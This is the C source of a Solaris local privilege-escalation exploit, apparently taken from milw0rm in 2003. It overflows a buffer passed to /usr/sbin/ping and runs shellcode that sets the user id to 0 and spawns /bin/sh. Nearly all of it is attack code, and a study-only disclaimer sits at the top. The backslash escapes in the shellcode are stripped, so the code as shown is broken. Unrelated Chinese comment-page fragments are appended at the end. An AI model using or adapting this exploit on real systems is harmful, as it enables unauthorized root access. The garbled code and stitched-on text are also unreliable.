/***********************************************************
* hoagie_solarisldap.c
*
* gcc hoagie_solarisldap.c -o hoagie_solarisldap
*
* Author: Andi <[email protected]>
*
* Greetz to Greuff, philipp and the other hoagie-fellas :-)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
*
* Offsets: 9208 ... without patch 108994-11
*
************************************************************/
#include <stdio.h>
#define NOP 0x90
#define ORIGSIZE 258
char shellcode[]=
/* main: */
"xebx0a" /* jmp initcall */
/* initlcall: */
"x9ax01x02x03x5cx07x04" /* lcall */
"xc3" /* ret */
/* jmpz: */
"xebx05" /* jmp setuidcode */
/* initcall: */
"xe8xf9xffxffxff" /* call jmpz */
/* setuidcode: */
"x5e" /* popl %esi */
"x29xc0" /* subl %eax, %eax */
"x88x46xf7" /* movb %al, 0xfffffff7(%esi) */
"x89x46xf2" /* movl %eax, 0xfffffff2(%esi) */
/* seteuid(0); */
"x50" /* pushl %eax */
"xb0x8d" /* movb $0x8d, %al */
"xe8xe0xffxffxff" /* call initlcall */
/* setuid(0); */
"x29xc0" /* subl %eax, %eax */
"x50" /* pushl %eax */
"xb0x17" /* movb $0x17, %al */
"xe8xd6xffxffxff" /* call initlcall */
"xebx1f" /* jmp callz */
/* start: */
/* execve /bin/sh */
"x5e" /* popl %esi */
"x8dx1e" /* leal (%esi), %ebx */
"x89x5ex0b" /* movl %ebx, 0x0b(%esi) */
"x29xc0" /* subl %eax, %eax */
"x88x46x19" /* movb %al, 0x19(%esi) */
"x89x46x14" /* movl %eax, 0x14(%esi) */
"x89x46x0f" /* movl %eax, 0x0f(%esi) */
"x89x46x07" /* movl %eax, 0x07(%esi) */
"xb0x3b" /* movb $0x3b, %al */
"x8dx4ex0b" /* leal 0x0b(%esi), %ecx */
"x51" /* pushl %ecx */
"x51" /* pushl %ecx */
"x53" /* pushl %ebx */
"x50" /* pushl %eax */
"xebx18" /* jmp lcall */
/* callz: */
"xe8xdcxffxffxff" /* call start */
"x2fx62x69x6ex2fx73x68" /* /bin/sh */
"x01x01x01x01x02x02x02x02x03x03x03x03"
/* lcall: */
"x9ax04x04x04x04x07x04"; /* lcall */
unsigned long getsp(void)
{
__asm__(" movl %esp,%eax ");
}
int main(int argc, char **argv) {
char buf[512];
int offset = 9208;
int retaddr = 0;
int i;
if (argc > 1) {
sscanf(argv[1], "%d", &offset);
}
printf("hoagie_solarisldap local root exploitn");
printf("[*] offset: 0x%xn", offset);
memset(buf, NOP, sizeof(buf));
buf[28] = 0xeb;
buf[29] = 30;
for (i = 0; i < strlen(shellcode); i++) {
buf[i + 60] = shellcode[i];
}
retaddr = getsp() - offset;
printf("[*] return address: 0x%xn", retaddr);
for (i = 0; i < 4 * 25; i += 4){
buf[i + ORIGSIZE + 2] = retaddr & 0xff;
buf[i + ORIGSIZE + 3] = (retaddr >> 8 ) &0xff;
buf[i + ORIGSIZE + 0] = (retaddr >> 16 ) &0xff;
buf[i + ORIGSIZE + 1] = (retaddr >> 24 ) &0xff;
}
execl("/usr/sbin/ping", "ping", buf, NULL);
}
// milw0rm.com [2003-04-01]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666